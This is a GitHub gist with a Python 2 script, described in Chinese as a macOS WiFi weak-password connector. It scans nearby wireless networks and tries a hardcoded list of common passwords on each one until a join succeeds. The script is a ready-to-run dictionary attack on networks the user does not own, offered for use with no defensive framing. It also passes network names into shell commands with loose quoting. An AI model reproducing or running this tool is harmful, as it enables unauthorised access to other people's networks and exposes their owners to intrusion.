Skip to content

Instantly share code, notes, and snippets.

@andelf
Created January 18, 2014 01:41
Show Gist options
  • Save andelf/8485021 to your computer and use it in GitHub Desktop.
Save andelf/8485021 to your computer and use it in GitHub Desktop.
macos Wifi 弱密码连接器。因为没写切channel的功能,所以多执行几遍就好。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
from commands import getstatusoutput, getoutput
WIFI_IF = "en0"
class Wifi(object):
def __init__(self, ifname=WIFI_IF, ch=1):
self.ifname = ifname
self.ch = ch
def on(self):
cmd = "networksetup -setairportpower {ifname} on".format(**self.__dict__)
return getstatusoutput(cmd)[0] == 0
def off(self):
cmd = "networksetup -setairportpower {ifname} off".format(**self.__dict__)
return getstatusoutput(cmd)[0] == 0
def scan(self):
cmd = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan"
ok, output = getstatusoutput(cmd)
networks = map(lambda line: line.strip().split()[0], output.split('\n')[1:])
return networks
def join(self, ssid, password):
ifname = self.ifname
cmd = 'networksetup -setairportnetwork {ifname} "{ssid}" {password}'.format(**locals())
# print cmd
ok, output = getstatusoutput(cmd)
state = output.strip().replace('\n', ' ')
# note: fail may return 0
if 'Could not find network' in state:
return False
elif 'Failed to join network' in state:
return False
print state
return ok == 0
def test():
w = Wifi()
print w.on()
#print w.off()
ssids = w.scan()
pwds = "11111111 88888888 12345678 1234567890 00000000 87654321 66666666 123456789 987654321 123123123 11223344 12341234 12344321 password iloveyou qwertyui".split()
print ssids
for ssid in ssids:
print 'try', ssid, '........'
for pwd in pwds:
if w.join(ssid, pwd):
print 'ok, with parameter', `pwd`
raise SystemExit
else:
print 'failed, with', `pwd`
if __name__ == '__main__':
test()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment